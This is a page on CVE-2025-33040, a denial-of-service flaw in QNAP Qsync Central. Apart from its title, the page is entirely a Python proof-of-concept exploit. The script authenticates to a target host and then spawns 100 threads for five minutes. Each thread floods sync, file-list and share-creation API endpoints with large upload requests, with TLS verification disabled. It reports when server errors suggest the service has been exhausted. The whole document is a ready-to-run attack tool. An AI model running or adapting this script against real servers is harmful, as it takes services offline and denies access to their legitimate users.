CVE-2025-33040：QNAP Qsync Central资源耗尽拒绝服务漏洞

# CVE-2025-33040 - QNAP Qsync Central Resource Exhaustion PoC # This PoC demonstrates resource exhaustion by sending concurrent sync requests # to exhaust system resources, causing denial of service for legitimate users. import requests import threading import time from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_HOST = "https://target-qnap-qsync-host:8080" USERNAME = "attacker_user" PASSWORD = "attacker_password" MAX_THREADS = 100 DURATION = 300 # seconds class QsyncResourceExhaustion: def __init__(self, host, username, password): self.host = host self.username = username self.password = password self.session = requests.Session() self.running = True self.request_count = 0 self.failed_count = 0 def authenticate(self): """Authenticate to Qsync Central with valid credentials""" login_url = f"{self.host}/qsync/login" data = { "username": self.username, "password": self.password } try: resp = self.session.post(login_url, data=data, verify=False, timeout=10) if resp.status_code == 200: print(f"[+] Successfully authenticated as {self.username}") return True else: print(f"[-] Authentication failed: {resp.status_code}") return False except Exception as e: print(f"[-] Connection error: {e}") return False def send_sync_request(self, thread_id): """Send resource-intensive sync requests to exhaust server resources""" sync_endpoints = [ "/qsync/api/v1/sync/trigger", "/qsync/api/v1/sync/list", "/qsync/api/v1/files/list", "/qsync/api/v1/share/create", "/qsync/api/v1/connection/establish", ] while self.running: for endpoint in sync_endpoints: try: url = f"{self.host}{endpoint}" payload = { "path": f"/home/{self.username}/large_file_{thread_id}_{int(time.time())}", "operation": "upload", "chunk_size": 10485760, # 10MB chunks "concurrent_transfers": 50 } resp = self.session.post(url, json=payload, verify=False, timeout=5) self.request_count += 1 if resp.status_code >= 500: self.failed_count += 1 if self.failed_count > 100: print(f"[!] Server returning errors - resource exhaustion likely achieved") return except requests.exceptions.Timeout: self.failed_count += 1 except Exception: self.failed_count += 1 def launch_attack(self): """Launch multi-threaded resource exhaustion attack""" print(f"[*] Launching resource exhaustion attack with {MAX_THREADS} threads...") with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor: futures = [] for i in range(MAX_THREADS): future = executor.submit(self.send_sync_request, i) futures.append(future) time.sleep(DURATION) self.running = False for future in as_completed(futures, timeout=30): try: future.result() except Exception: pass print(f"\n[*] Attack completed. Total requests sent: {self.request_count}") print(f"[*] Failed requests (potential DoS indicator): {self.failed_count}") if __name__ == "__main__": import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) exploit = QsyncResourceExhaustion(TARGET_HOST, USERNAME, PASSWORD) if exploit.authenticate(): exploit.launch_attack() else: print("[-] Exploit aborted due to authentication failure")